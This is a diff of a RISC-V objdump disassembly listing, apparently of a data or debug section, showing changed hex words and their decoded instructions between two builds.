+    161c:	002a                	c.slli	zero,0xa
+    161e:	0000                	unimp
+    1620:	0004                	0x4
+    1622:	0500                	addi	s0,sp,640
+    1624:	934d                	srli	a4,a4,0x33
+    1626:	05000017          	auipc	zero,0x5000
+    162a:	e169                	bnez	a0,16ec <__stack_size+0xeec>
+    162c:	0074                	addi	a3,sp,12
+    162e:	0500                	addi	s0,sp,640
+    1630:	0083296f          	jal	s2,33638 <__stack_size+0x32e38>
+    1634:	0500                	addi	s0,sp,640
+    1636:	87d701b7          	lui	gp,0x87d70
+    163a:	0000                	unimp
+    163c:	bd05                	j	146c <__stack_size+0xc6c>
+    163e:	2302                	fld	ft6,0(sp)
+    1640:	0500007b          	0x500007b
+    1644:	02be                	slli	t0,t0,0xf
+    1646:	9b34                	0x9b34
     1648:	0000                	unimp
-    164a:	bd05                	j	147a <__stack_size+0xc7a>
-    164c:	aa02                	fsd	ft0,272(sp)
-    164e:	007a                	c.slli	zero,0x1e
+    164a:	bf05                	j	157a <__stack_size+0xd7a>
+    164c:	6902                	flw	fs2,0(sp)
+    164e:	0054                	addi	a3,sp,4
     1650:	0500                	addi	s0,sp,640
-    1652:	02be                	slli	t0,t0,0xf
-    1654:	9aa0                	0x9aa0
+    1652:	02c0                	addi	s0,sp,324
+    1654:	5118                	lw	a4,32(a0)
     1656:	0000                	unimp
-    1658:	bf05                	j	1588 <__stack_size+0xd88>
-    165a:	1202                	slli	tp,tp,0x20
-    165c:	05000053          	0x5000053
-    1660:	02c0                	addi	s0,sp,324
-    1662:	4ff0                	lw	a2,92(a5)
+    1658:	c105                	beqz	a0,1678 <__stack_size+0xe78>
+    165a:	c302                	sw	zero,132(sp)
+    165c:	0500005b          	0x500005b
+    1660:	02c2                	slli	t0,t0,0x10
+    1662:	5d74                	lw	a3,124(a0)
     1664:	0000                	unimp
-    1666:	c105                	beqz	a0,1686 <__stack_size+0xe86>
-    1668:	a002                	fsd	ft0,0(sp)
-    166a:	005a                	c.slli	zero,0x16
+    1666:	c305                	beqz	a4,1686 <__stack_size+0xe86>
+    1668:	f302                	fsw	ft0,164(sp)
+    166a:	007a                	c.slli	zero,0x1e
     166c:	0500                	addi	s0,sp,640
-    166e:	02c2                	slli	t0,t0,0x10
-    1670:	5c6a                	lw	s8,184(sp)
+    166e:	1e1402cf          	fnmadd.q	ft5,fs0,ft1,ft3,rne
     1672:	0000                	unimp
-    1674:	c305                	beqz	a4,1694 <__stack_size+0xe94>
-    1676:	7a02                	flw	fs4,32(sp)
-    1678:	007a                	c.slli	zero,0x1e
-    167a:	0500                	addi	s0,sp,640
-    167c:	1df302cf          	0x1df302cf
+    1674:	d005                	beqz	s0,1594 <__stack_size+0xd94>
+    1676:	6602                	flw	fa2,0(sp)
+    1678:	05000013          	li	zero,80
+    167c:	02d1                	addi	t0,t0,20
+    167e:	8351                	srli	a4,a4,0x14
     1680:	0000                	unimp
-    1682:	d005                	beqz	s0,15a2 <__stack_size+0xda2>
-    1684:	1302                	slli	t1,t1,0x20
-    1686:	0014                	0x14
+    1682:	a005                	j	16a2 <__stack_size+0xea2>
+    1684:	7005                	c.lui	zero,0xfffe1
+    1686:	0061                	c.nop	24
     1688:	0500                	addi	s0,sp,640
-    168a:	02d1                	addi	t0,t0,20
-    168c:	000082cb          	fnmsub.s	ft5,ft1,ft0,ft0,rne
-    1690:	a005                	j	16b0 <__stack_size+0xeb0>
-    1692:	7305                	lui	t1,0xfffe1
-    1694:	0060                	addi	s0,sp,12
+    168a:	05bc                	addi	a5,sp,712
+    168c:	4799                	li	a5,6
+    168e:	0000                	unimp
+    1690:	bf05                	j	15c0 <__stack_size+0xdc0>
+    1692:	5405                	li	s0,-31
+    1694:	0058                	addi	a4,sp,4
     1696:	0500                	addi	s0,sp,640
-    1698:	05bc                	addi	a5,sp,712
-    169a:	467c                	lw	a5,76(a2)
+    1698:	3f8605ef          	jal	a1,61a90 <__stack_size+0x61290>
     169c:	0000                	unimp
-    169e:	bf05                	j	15ce <__stack_size+0xdce>
-    16a0:	2505                	jal	1cc0 <__stack_size+0x14c0>
-    16a2:	05000057          	0x5000057
-    16a6:	3e7b05ef          	jal	a1,b228c <__stack_size+0xb1a8c>
+    169e:	fd05                	bnez	a0,15d6 <__stack_size+0xdd6>
+    16a0:	6205                	lui	tp,0x1
+    16a2:	0002                	c.slli64	zero
+    16a4:	0500                	addi	s0,sp,640
+    16a6:	05fe                	slli	a1,a1,0x1f
+    16a8:	9544                	0x9544
     16aa:	0000                	unimp
-    16ac:	fd05                	bnez	a0,15e4 <__stack_size+0xde4>
-    16ae:	9705                	srai	a4,a4,0x21
-    16b0:	0002                	c.slli64	zero
+    16ac:	ff05                	bnez	a4,15e4 <__stack_size+0xde4>
+    16ae:	6405                	lui	s0,0x1
+    16b0:	0034                	addi	a3,sp,8
     16b2:	0500                	addi	s0,sp,640
-    16b4:	05fe                	slli	a1,a1,0x1f
-    16b6:	9495                	srai	s1,s1,0x25
+    16b4:	0680                	addi	s0,sp,832
+    16b6:	94ad                	srai	s1,s1,0x2b
     16b8:	0000                	unimp
-    16ba:	ff05                	bnez	a4,15f2 <__stack_size+0xdf2>
-    16bc:	8405                	srai	s0,s0,0x1
-    16be:	05000033          	0x5000033
-    16c2:	0680                	addi	s0,sp,832
-    16c4:	0000134f          	fnmadd.s	ft6,ft0,ft0,ft0,rtz
-    16c8:	8105                	srli	a0,a0,0x1
-    16ca:	2a06                	fld	fs4,64(sp)
-    16cc:	0048                	addi	a0,sp,4
+    16ba:	8105                	srli	a0,a0,0x1
+    16bc:	4706                	lw	a4,64(sp)
+    16be:	0049                	c.nop	18
+    16c0:	0500                	addi	s0,sp,640
+    16c2:	0682                	c.slli64	a3
+    16c4:	788d                	lui	a7,0xfffe3
+    16c6:	0000                	unimp
+    16c8:	8305                	srli	a4,a4,0x1
+    16ca:	ba06                	fsd	ft1,304(sp)
+    16cc:	001a                	c.slli	zero,0x6
     16ce:	0500                	addi	s0,sp,640
-    16d0:	0682                	c.slli64	a3
-    16d2:	77f0                	flw	fa2,108(a5)
-    16d4:	0000                	unimp
-    16d6:	8305                	srli	a4,a4,0x1
-    16d8:	8106                	mv	sp,ra
-    16da:	0500001b          	0x500001b
-    16de:	0685                	addi	a3,a3,1
-    16e0:	0000268b          	0x268b
-    16e4:	8605                	srai	a2,a2,0x1
-    16e6:	fb06                	fsw	ft1,180(sp)
-    16e8:	004e                	c.slli	zero,0x13
+    16d0:	0685                	addi	a3,a3,1
+    16d2:	0000274f          	fnmadd.s	fa4,ft0,ft0,ft0,rdn
+    16d6:	8605                	srai	a2,a2,0x1
+    16d8:	f806                	fsw	ft1,48(sp)
+    16da:	0500004f          	0x500004f
+    16de:	385f0687          	0x385f0687
+    16e2:	0000                	unimp
+    16e4:	8805                	andi	s0,s0,1
+    16e6:	5a06                	lw	s4,96(sp)
+    16e8:	005c                	addi	a5,sp,4
     16ea:	0500                	addi	s0,sp,640
-    16ec:	37910687          	0x37910687
-    16f0:	0000                	unimp
-    16f2:	8805                	andi	s0,s0,1
-    16f4:	3706                	fld	fa4,96(sp)
-    16f6:	0500005b          	0x500005b
-    16fa:	0689                	addi	a3,a3,2
-    16fc:	2592                	fld	fa1,256(sp)
+    16ec:	0689                	addi	a3,a3,2
+    16ee:	0000264b          	fnmsub.s	fa2,ft0,ft0,ft0,rdn
+    16f2:	8a05                	andi	a2,a2,1
+    16f4:	4006                	0x4006
+    16f6:	05000047          	0x5000047
+    16fa:	1e4e068b          	0x1e4e068b
     16fe:	0000                	unimp
-    1700:	8a05                	andi	a2,a2,1
-    1702:	3306                	fld	ft6,96(sp)
-    1704:	0046                	c.slli	zero,0x11
+    1700:	8c05                	sub	s0,s0,s1
+    1702:	b806                	fsd	ft1,48(sp)
+    1704:	0060                	addi	s0,sp,12
     1706:	0500                	addi	s0,sp,640
-    1708:	1e2d068b          	0x1e2d068b
+    1708:	068d                	addi	a3,a3,3
+    170a:	7ca4                	flw	fs1,120(s1)
     170c:	0000                	unimp
-    170e:	8c05                	sub	s0,s0,s1
-    1710:	bb06                	fsd	ft1,432(sp)
-    1712:	005f 0500 068d      	0x68d0500005f
-    1718:	7c31                	lui	s8,0xfffec
+    170e:	8e05                	sub	a2,a2,s1
+    1710:	6706                	flw	fa4,64(sp)
+    1712:	005f 0500 068f      	0x68f0500005f
+    1718:	1f10                	addi	a2,sp,944
     171a:	0000                	unimp
-    171c:	8e05                	sub	a2,a2,s1
-    171e:	5b06                	lw	s6,96(sp)
-    1720:	005e                	c.slli	zero,0x17
+    171c:	9005                	srli	s0,s0,0x21
+    171e:	4b06                	lw	s6,64(sp)
+    1720:	0051                	c.nop	20
     1722:	0500                	addi	s0,sp,640
-    1724:	1eda068f          	0x1eda068f
+    1724:	0691                	addi	a3,a3,4
+    1726:	6882                	flw	fa7,0(sp)
     1728:	0000                	unimp
-    172a:	9005                	srli	s0,s0,0x21
-    172c:	2306                	fld	ft6,64(sp)
-    172e:	0050                	addi	a2,sp,4
-    1730:	0500                	addi	s0,sp,640
-    1732:	0691                	addi	a3,a3,4
-    1734:	67c5                	lui	a5,0x11
+    172a:	9205                	srli	a2,a2,0x21
+    172c:	d206                	sw	ra,36(sp)
+    172e:	05000013          	li	zero,80
+    1732:	9c250693          	addi	a3,a0,-1598 # 50fe1c <__stack_size+0x50f61c>
     1736:	0000                	unimp
-    1738:	9205                	srli	a2,a2,0x21
-    173a:	6b06                	flw	fs6,64(sp)
-    173c:	0014                	0x14
+    1738:	9405                	srai	s0,s0,0x21
+    173a:	e206                	fsw	ft1,4(sp)
+    173c:	0051                	c.nop	20
     173e:	0500                	addi	s0,sp,640
-    1740:	9ba80693          	addi	a3,a6,-1606 # fffdf9ba <_heap_end+0x7ffd11ba>
+    1740:	0695                	addi	a3,a3,5
+    1742:	8dca                	mv	s11,s2
     1744:	0000                	unimp
-    1746:	9405                	srai	s0,s0,0x21
-    1748:	ba06                	fsd	ft1,304(sp)
-    174a:	0050                	addi	a2,sp,4
+    1746:	9605                	srai	a2,a2,0x21
+    1748:	0b06                	slli	s6,s6,0x1
+    174a:	0019                	c.nop	6
     174c:	0500                	addi	s0,sp,640
-    174e:	0695                	addi	a3,a3,5
-    1750:	00008d17          	auipc	s10,0x8
-    1754:	9605                	srai	a2,a2,0x21
-    1756:	bc06                	fsd	ft1,56(sp)
-    1758:	0019                	c.nop	6
+    174e:	2cf30697          	auipc	a3,0x2cf30
+    1752:	0000                	unimp
+    1754:	9805                	andi	s0,s0,-31
+    1756:	7506                	flw	fa0,96(sp)
+    1758:	0065                	c.nop	25
     175a:	0500                	addi	s0,sp,640
-    175c:	2c280697          	auipc	a3,0x2c280
-    1760:	0000                	unimp
-    1762:	9805                	andi	s0,s0,-31
-    1764:	b206                	fsd	ft1,288(sp)
-    1766:	0064                	addi	s1,sp,12
+    175c:	0699                	addi	a3,a3,6
+    175e:	00000d9b          	0xd9b
+    1762:	9a05                	andi	a2,a2,-31
+    1764:	5106                	lw	sp,96(sp)
+    1766:	0001                	nop
     1768:	0500                	addi	s0,sp,640
-    176a:	0699                	addi	a3,a3,6
-    176c:	0de1                	addi	s11,s11,24
+    176a:	6cea069b          	0x6cea069b
     176e:	0000                	unimp
-    1770:	9a05                	andi	a2,a2,-31
-    1772:	7c06                	flw	fs8,96(sp)
-    1774:	0001                	nop
-    1776:	0500                	addi	s0,sp,640
-    1778:	6c4c069b          	0x6c4c069b
+    1770:	9c05                	0x9c05
+    1772:	fb06                	fsw	ft1,180(sp)
+    1774:	05000047          	0x5000047
+    1778:	06a0                	addi	s0,sp,840
+    177a:	34d0                	fld	fa2,168(s1)
     177c:	0000                	unimp
-    177e:	9c05                	0x9c05
-    1780:	de06                	sw	ra,60(sp)
-    1782:	0046                	c.slli	zero,0x11
+    177e:	a805                	j	17ae <__stack_size+0xfae>
+    1780:	2306                	fld	ft6,64(sp)
+    1782:	004e                	c.slli	zero,0x13
     1784:	0500                	addi	s0,sp,640
-    1786:	06a0                	addi	s0,sp,840
-    1788:	33f0                	fld	fa2,224(a5)
+    1786:	06b0                	addi	a2,sp,840
+    1788:	82e4                	0x82e4
     178a:	0000                	unimp
-    178c:	a805                	j	17bc <__stack_size+0xfbc>
-    178e:	1006                	c.slli	zero,0x21
-    1790:	004d                	c.nop	19
+    178c:	c005                	beqz	s0,17ac <__stack_size+0xfac>
+    178e:	cf06                	sw	ra,156(sp)
+    1790:	0051                	c.nop	20
     1792:	0500                	addi	s0,sp,640
-    1794:	06b0                	addi	a2,sp,840
-    1796:	7765                	lui	a4,0xffff9
+    1794:	090c06c3          	fmadd.s	fa3,fs8,fa6,ft1,rne
     1798:	0000                	unimp
-    179a:	c005                	beqz	s0,17ba <__stack_size+0xfba>
-    179c:	a706                	fsd	ft1,392(sp)
-    179e:	0050                	addi	a2,sp,4
-    17a0:	0500                	addi	s0,sp,640
-    17a2:	096006c3          	fmadd.s	fa3,ft0,fs6,ft1,rne
-    17a6:	0000                	unimp
-    17a8:	c905                	beqz	a0,17d8 <__stack_size+0xfd8>
-    17aa:	2106                	fld	ft2,64(sp)
-    17ac:	0059                	c.nop	22
-    17ae:	0000                	unimp
-    17b0:	0004                	0x4
-    17b2:	0500                	addi	s0,sp,640
-    17b4:	e90e                	fsw	ft3,144(sp)
-    17b6:	003a                	c.slli	zero,0xe
-    17b8:	0500                	addi	s0,sp,640
-    17ba:	0070210f          	0x70210f
-    17be:	0000                	unimp
-    17c0:	0004                	0x4
+    179a:	c905                	beqz	a0,17ca <__stack_size+0xfca>
+    179c:	5006                	0x5006
+    179e:	005a                	c.slli	zero,0x16
+    17a0:	0000                	unimp
+    17a2:	0004                	0x4
+    17a4:	0500                	addi	s0,sp,640
+    17a6:	ff0e                	fsw	ft3,188(sp)
+    17a8:	0500003b          	0x500003b
+    17ac:	0070a20f          	0x70a20f
+    17b0:	0000                	unimp
+    17b2:	0004                	0x4
+    17b4:	0600                	addi	s0,sp,768
+    17b6:	6087019b          	0x6087019b
+    17ba:	0000                	unimp
+    17bc:	e706                	fsw	ft1,140(sp)
+    17be:	1001                	c.nop	-32
+    17c0:	003d                	c.nop	15
     17c2:	0600                	addi	s0,sp,768
-    17c4:	5f7b019b          	0x5f7b019b
+    17c4:	02d4                	addi	a3,sp,324
+    17c6:	738a                	flw	ft7,160(sp)
     17c8:	0000                	unimp
-    17ca:	e706                	fsw	ft1,140(sp)
-    17cc:	0301                	addi	t1,t1,0
-    17ce:	003c                	addi	a5,sp,8
-    17d0:	0600                	addi	s0,sp,768
-    17d2:	02d4                	addi	a3,sp,324
-    17d4:	000072ef          	jal	t0,87d4 <__stack_size+0x7fd4>
-    17d8:	8606                	mv	a2,ra
-    17da:	00513803          	0x513803
+    17ca:	8606                	mv	a2,ra
+    17cc:	00527a03          	0x527a03
+    17d0:	0500                	addi	s0,sp,640
+    17d2:	7135038b          	0x7135038b
+    17d6:	0000                	unimp
+    17d8:	9106                	add	sp,sp,ra
+    17da:	00527303          	0x527303
     17de:	0500                	addi	s0,sp,640
-    17e0:	70b4038b          	0x70b4038b
+    17e0:	0396                	slli	t2,t2,0x5
+    17e2:	527f                	0x527f
     17e4:	0000                	unimp
-    17e6:	9106                	add	sp,sp,ra
-    17e8:	00513103          	0x513103
-    17ec:	0500                	addi	s0,sp,640
-    17ee:	0396                	slli	t2,t2,0x5
-    17f0:	513d                	li	sp,-17
-    17f2:	0000                	unimp
-    17f4:	0400                	addi	s0,sp,512
-    17f6:	0000                	unimp
-    17f8:	0205                	addi	tp,tp,1
-    17fa:	00006cab          	0x6cab
-    17fe:	0505                	addi	a0,a0,1
-    1800:	000019a3          	sh	zero,19(zero) # 13 <__stack_size-0x7ed>
-    1804:	0400                	addi	s0,sp,512
-    1806:	0000                	unimp
-    1808:	1905                	addi	s2,s2,-31
-    180a:	8122                	mv	sp,s0
-    180c:	0000                	unimp
-    180e:	1a05                	addi	s4,s4,-31
-    1810:	7a46                	flw	fs4,112(sp)
-    1812:	0000                	unimp
-    1814:	0400                	addi	s0,sp,512
-    1816:	0000                	unimp
-    1818:	a205                	j	1938 <__stack_size+0x1138>
-    181a:	7a01                	lui	s4,0xfffe0
-    181c:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-    1820:	01f0                	addi	a2,sp,204
-    1822:	00005efb          	0x5efb
-    1826:	f105                	bnez	a0,1746 <__stack_size+0xf46>
-    1828:	d501                	beqz	a0,1730 <__stack_size+0xf30>
-    182a:	006d                	c.nop	27
+    17e6:	0400                	addi	s0,sp,512
+    17e8:	0000                	unimp
+    17ea:	0205                	addi	tp,tp,1
+    17ec:	6d49                	lui	s10,0x12
+    17ee:	0000                	unimp
+    17f0:	0505                	addi	a0,a0,1
+    17f2:	18f2                	slli	a7,a7,0x3c
+    17f4:	0000                	unimp
+    17f6:	0400                	addi	s0,sp,512
+    17f8:	0000                	unimp
+    17fa:	1905                	addi	s2,s2,-31
+    17fc:	81a5                	srli	a1,a1,0x9
+    17fe:	0000                	unimp
+    1800:	1a05                	addi	s4,s4,-31
+    1802:	00007abf 00000400 	0x40000007abf
+    180a:	a205                	j	192a <__stack_size+0x112a>
+    180c:	ea01                	bnez	a2,181c <__stack_size+0x101c>
+    180e:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+    1812:	01f0                	addi	a2,sp,204
+    1814:	00006007          	0x6007
+    1818:	f105                	bnez	a0,1738 <__stack_size+0xf38>
+    181a:	6e01                	0x6e01
+    181c:	006e                	c.slli	zero,0x1b
+    181e:	0500                	addi	s0,sp,640
+    1820:	01f5                	addi	gp,gp,29
+    1822:	35fd                	jal	1710 <__stack_size+0xf10>
+    1824:	0000                	unimp
+    1826:	f805                	bnez	s0,1756 <__stack_size+0xf56>
+    1828:	9501                	srai	a0,a0,0x20
+    182a:	002d                	c.nop	11
     182c:	0500                	addi	s0,sp,640
-    182e:	01f5                	addi	gp,gp,29
-    1830:	3521                	jal	1638 <__stack_size+0xe38>
+    182e:	01ff                	0x1ff
+    1830:	3f42                	fld	ft10,48(sp)
     1832:	0000                	unimp
-    1834:	f805                	bnez	s0,1764 <__stack_size+0xf64>
-    1836:	1d01                	addi	s10,s10,-32
-    1838:	000c                	0xc
-    183a:	0500                	addi	s0,sp,640
-    183c:	01ff                	0x1ff
-    183e:	00003e37          	lui	t3,0x3
-    1842:	8705                	srai	a4,a4,0x1
-    1844:	6c02                	flw	fs8,0(sp)
-    1846:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
-    184a:	0004                	0x4
-    184c:	0500                	addi	s0,sp,640
-    184e:	7136                	flw	ft2,108(sp)
-    1850:	0091                	addi	ra,ra,4
-    1852:	0500                	addi	s0,sp,640
-    1854:	006ff937          	lui	s2,0x6ff
-    1858:	0500                	addi	s0,sp,640
-    185a:	d638                	sw	a4,104(a2)
-    185c:	0095                	addi	ra,ra,5
-    185e:	0500                	addi	s0,sp,640
-    1860:	773d                	lui	a4,0xfffef
-    1862:	0085                	addi	ra,ra,1
-    1864:	0500                	addi	s0,sp,640
-    1866:	843e                	mv	s0,a5
-    1868:	0054                	addi	a3,sp,4
-    186a:	0500                	addi	s0,sp,640
-    186c:	002cd33f d7400500 	0xd7400500002cd33f
-    1874:	0039                	c.nop	14
-    1876:	0500                	addi	s0,sp,640
-    1878:	f741                	bnez	a4,1800 <__stack_size+0x1000>
-    187a:	0500008f          	0x500008f
-    187e:	6142                	flw	ft2,16(sp)
-    1880:	0064                	addi	s1,sp,12
-    1882:	0500                	addi	s0,sp,640
-    1884:	000e2e43          	fmadd.s	ft8,ft8,ft0,ft0,rdn
-    1888:	0500                	addi	s0,sp,640
-    188a:	5c44                	lw	s1,60(s0)
-    188c:	0014                	0x14
-    188e:	0500                	addi	s0,sp,640
-    1890:	1446                	slli	s0,s0,0x31
-    1892:	0004                	0x4
-    1894:	0500                	addi	s0,sp,640
-    1896:	f048                	fsw	fa0,36(s0)
-    1898:	0034                	addi	a3,sp,8
-    189a:	0500                	addi	s0,sp,640
-    189c:	2149                	jal	1d1e <__stack_size+0x151e>
-    189e:	0045                	c.nop	17
-    18a0:	0500                	addi	s0,sp,640
-    18a2:	344a                	fld	fs0,176(sp)
-    18a4:	0095                	addi	ra,ra,5
-    18a6:	0500                	addi	s0,sp,640
-    18a8:	944c                	0x944c
-    18aa:	0076                	c.slli	zero,0x1d
-    18ac:	0500                	addi	s0,sp,640
-    18ae:	0f4d                	addi	t5,t5,19
-    18b0:	009a                	slli	ra,ra,0x6
-    18b2:	0500                	addi	s0,sp,640
-    18b4:	234e                	fld	ft6,208(sp)
-    18b6:	0001                	nop
-    18b8:	0500                	addi	s0,sp,640
-    18ba:	002da74f          	fnmadd.s	fa4,fs11,ft2,ft0,rdn
-    18be:	0500                	addi	s0,sp,640
-    18c0:	da52                	sw	s4,52(sp)
-    18c2:	0074                	addi	a3,sp,12
-    18c4:	0500                	addi	s0,sp,640
-    18c6:	002aca53          	fadd.s	fs4,fs5,ft2,rmm
-    18ca:	0500                	addi	s0,sp,640
-    18cc:	a754                	fsd	fa3,136(a4)
-    18ce:	009e                	slli	ra,ra,0x7
-    18d0:	0500                	addi	s0,sp,640
-    18d2:	3e55                	jal	1486 <__stack_size+0xc86>
-    18d4:	0061                	c.nop	24
-    18d6:	0500                	addi	s0,sp,640
-    18d8:	ab56                	fsd	fs5,400(sp)
-    18da:	0099                	addi	ra,ra,6
-    18dc:	0500                	addi	s0,sp,640
-    18de:	00933e57          	0x933e57
-    18e2:	0500                	addi	s0,sp,640
-    18e4:	e558                	fsw	fa4,12(a0)
-    18e6:	0071                	c.nop	28
-    18e8:	0500                	addi	s0,sp,640
-    18ea:	6859                	lui	a6,0x16
-    18ec:	0054                	addi	a3,sp,4
-    18ee:	0500                	addi	s0,sp,640
-    18f0:	0168                	addi	a0,sp,140
-    18f2:	05000027          	0x5000027
-    18f6:	eb69                	bnez	a4,19c8 <__stack_size+0x11c8>
-    18f8:	0014                	0x14
-    18fa:	0500                	addi	s0,sp,640
-    18fc:	f56a                	fsw	fs10,168(sp)
-    18fe:	0068                	addi	a0,sp,12
-    1900:	0500                	addi	s0,sp,640
-    1902:	0035b06b          	0x35b06b
-    1906:	0500                	addi	s0,sp,640
-    1908:	b26c                	fsd	fa1,224(a2)
-    190a:	0081                	addi	ra,ra,0
-    190c:	0500                	addi	s0,sp,640
-    190e:	436d                	li	t1,27
-    1910:	009e                	slli	ra,ra,0x7
-    1912:	0500                	addi	s0,sp,640
-    1914:	766e                	flw	fa2,248(sp)
-    1916:	0500003b          	0x500003b
-    191a:	0015ec6f          	jal	s8,6011a <__stack_size+0x5f91a>
-    191e:	0500                	addi	s0,sp,640
-    1920:	d670                	sw	a2,108(a2)
-    1922:	000a                	c.slli	zero,0x2
-    1924:	0500                	addi	s0,sp,640
-    1926:	b871                	j	11c2 <__stack_size+0x9c2>
-    1928:	0006                	c.slli	zero,0x1
-    192a:	0500                	addi	s0,sp,640
-    192c:	7972                	flw	fs2,60(sp)
-    192e:	0069                	c.nop	26
-    1930:	0500                	addi	s0,sp,640
-    1932:	008a3073          	csrc	0x8,s4
-    1936:	0500                	addi	s0,sp,640
-    1938:	0f76                	slli	t5,t5,0x1d
-    193a:	0026                	c.slli	zero,0x9
-    193c:	0500                	addi	s0,sp,640
-    193e:	0065d177          	0x65d177
-    1942:	0500                	addi	s0,sp,640
-    1944:	4078                	lw	a4,68(s0)
-    1946:	008a                	slli	ra,ra,0x2
-    1948:	0500                	addi	s0,sp,640
-    194a:	008b2f7b          	0x8b2f7b
-    194e:	0500                	addi	s0,sp,640
-    1950:	e37c                	fsw	fa5,68(a4)
-    1952:	0084                	addi	s1,sp,64
-    1954:	0500                	addi	s0,sp,640
-    1956:	f67d                	bnez	a2,1944 <__stack_size+0x1144>
-    1958:	0048                	addi	a0,sp,4
-    195a:	0500                	addi	s0,sp,640
-    195c:	cc7e                	sw	t6,24(sp)
-    195e:	008d                	addi	ra,ra,3
-    1960:	0500                	addi	s0,sp,640
-    1962:	157f                	0x157f
-    1964:	001c                	0x1c
-    1966:	0500                	addi	s0,sp,640
-    1968:	0180                	addi	s0,sp,192
-    196a:	1fbc                	addi	a5,sp,1016
-    196c:	0000                	unimp
-    196e:	8105                	srli	a0,a0,0x1
-    1970:	0b01                	addi	s6,s6,0
-    1972:	0042                	c.slli	zero,0x10
-    1974:	0000                	unimp
-    1976:	0004                	0x4
-    1978:	0500                	addi	s0,sp,640
-    197a:	9202                	jalr	tp
-    197c:	05000097          	auipc	ra,0x5000
-    1980:	e909                	bnez	a0,1992 <__stack_size+0x1192>
-    1982:	003a                	c.slli	zero,0xe
-    1984:	0500                	addi	s0,sp,640
-    1986:	0b0a                	slli	s6,s6,0x2
-    1988:	005f 0000 0004      	0x40000005f
+    1834:	8705                	srai	a4,a4,0x1
+    1836:	f202                	fsw	ft0,36(sp)
+    1838:	00000083          	lb	ra,0(zero) # 0 <__stack_size-0x800>
+    183c:	0004                	0x4
+    183e:	0500                	addi	s0,sp,640
+    1840:	0d36                	slli	s10,s10,0xd
+    1842:	0078                	addi	a4,sp,12
+    1844:	0500                	addi	s0,sp,640
+    1846:	001aff37          	lui	t5,0x1af
+    184a:	0500                	addi	s0,sp,640
+    184c:	8538                	0x8538
+    184e:	0096                	slli	ra,ra,0x5
+    1850:	0500                	addi	s0,sp,640
+    1852:	f33d                	bnez	a4,17b8 <__stack_size+0xfb8>
+    1854:	0085                	addi	ra,ra,1
+    1856:	0500                	addi	s0,sp,640
+    1858:	9f3e                	add	t5,t5,a5
+    185a:	0055                	c.nop	21
+    185c:	0500                	addi	s0,sp,640
+    185e:	002de83f e5400500 	0xe5400500002de83f
+    1866:	003a                	c.slli	zero,0xe
+    1868:	0500                	addi	s0,sp,640
+    186a:	c441                	beqz	s0,18f2 <__stack_size+0x10f2>
+    186c:	0090                	addi	a2,sp,64
+    186e:	0500                	addi	s0,sp,640
+    1870:	7e42                	flw	ft8,48(sp)
+    1872:	000d                	c.nop	3
+    1874:	0500                	addi	s0,sp,640
+    1876:	000de843          	fmadd.s	fa6,fs11,ft0,ft0,unknown
+    187a:	0500                	addi	s0,sp,640
+    187c:	c344                	sw	s1,4(a4)
+    187e:	05000013          	li	zero,80
+    1882:	a446                	fsd	fa7,8(sp)
+    1884:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+    1888:	cc48                	sw	a0,28(s0)
+    188a:	0035                	c.nop	13
+    188c:	0500                	addi	s0,sp,640
+    188e:	0f49                	addi	t5,t5,18
+    1890:	0046                	c.slli	zero,0x11
+    1892:	0500                	addi	s0,sp,640
+    1894:	e34a                	fsw	fs2,132(sp)
+    1896:	0095                	addi	ra,ra,5
+    1898:	0500                	addi	s0,sp,640
+    189a:	414c                	lw	a1,4(a0)
+    189c:	05000077          	0x5000077
+    18a0:	bd4d                	j	1752 <__stack_size+0xf52>
+    18a2:	009a                	slli	ra,ra,0x6
+    18a4:	0500                	addi	s0,sp,640
+    18a6:	004e                	c.slli	zero,0x13
+    18a8:	0001                	nop
+    18aa:	0500                	addi	s0,sp,640
+    18ac:	002ea74f          	fnmadd.s	fa4,ft9,ft2,ft0,rdn
+    18b0:	0500                	addi	s0,sp,640
+    18b2:	7552                	flw	fa0,52(sp)
+    18b4:	0075                	c.nop	29
+    18b6:	0500                	addi	s0,sp,640
+    18b8:	002b9553          	fadd.s	fa0,fs7,ft2,rtz
+    18bc:	0500                	addi	s0,sp,640
+    18be:	0954                	addi	a3,sp,148
+    18c0:	009f 0500 3b55      	0x3b550500009f
+    18c6:	0062                	c.slli	zero,0x18
+    18c8:	0500                	addi	s0,sp,640
+    18ca:	5956                	lw	s2,116(sp)
+    18cc:	009a                	slli	ra,ra,0x6
+    18ce:	0500                	addi	s0,sp,640
+    18d0:	0093d857          	0x93d857
+    18d4:	0500                	addi	s0,sp,640
+    18d6:	6658                	flw	fa4,12(a2)
+    18d8:	0072                	c.slli	zero,0x1c
+    18da:	0500                	addi	s0,sp,640
+    18dc:	8359                	srli	a4,a4,0x16
+    18de:	0055                	c.nop	21
+    18e0:	0500                	addi	s0,sp,640
+    18e2:	c568                	sw	a0,76(a0)
+    18e4:	05000027          	0x5000027
+    18e8:	5269                	li	tp,-6
+    18ea:	0014                	0x14
+    18ec:	0500                	addi	s0,sp,640
+    18ee:	b26a                	fsd	fs10,288(sp)
+    18f0:	0069                	c.nop	26
+    18f2:	0500                	addi	s0,sp,640
+    18f4:	00367c6b          	0x367c6b
+    18f8:	0500                	addi	s0,sp,640
+    18fa:	356c                	fld	fa1,232(a0)
+    18fc:	0082                	c.slli64	ra
+    18fe:	0500                	addi	s0,sp,640
+    1900:	a56d                	j	1faa <__stack_size+0x17aa>
+    1902:	009e                	slli	ra,ra,0x7
+    1904:	0500                	addi	s0,sp,640
+    1906:	836e                	mv	t1,s11
+    1908:	003c                	addi	a5,sp,8
+    190a:	0500                	addi	s0,sp,640
+    190c:	00153b6f          	jal	s6,5510c <__stack_size+0x5490c>
+    1910:	0500                	addi	s0,sp,640
+    1912:	6c70                	flw	fa2,92(s0)
+    1914:	000a                	c.slli	zero,0x2
+    1916:	0500                	addi	s0,sp,640
+    1918:	2e71                	jal	1cb4 <__stack_size+0x14b4>
+    191a:	0006                	c.slli	zero,0x1
+    191c:	0500                	addi	s0,sp,640
+    191e:	3372                	fld	ft6,312(sp)
+    1920:	000e                	c.slli	zero,0x3
+    1922:	0500                	addi	s0,sp,640
+    1924:	008ad373          	csrrwi	t1,0x8,21
+    1928:	0500                	addi	s0,sp,640
+    192a:	d376                	sw	t4,164(sp)
+    192c:	0026                	c.slli	zero,0x9
+    192e:	0500                	addi	s0,sp,640
+    1930:	00665f77          	0x665f77
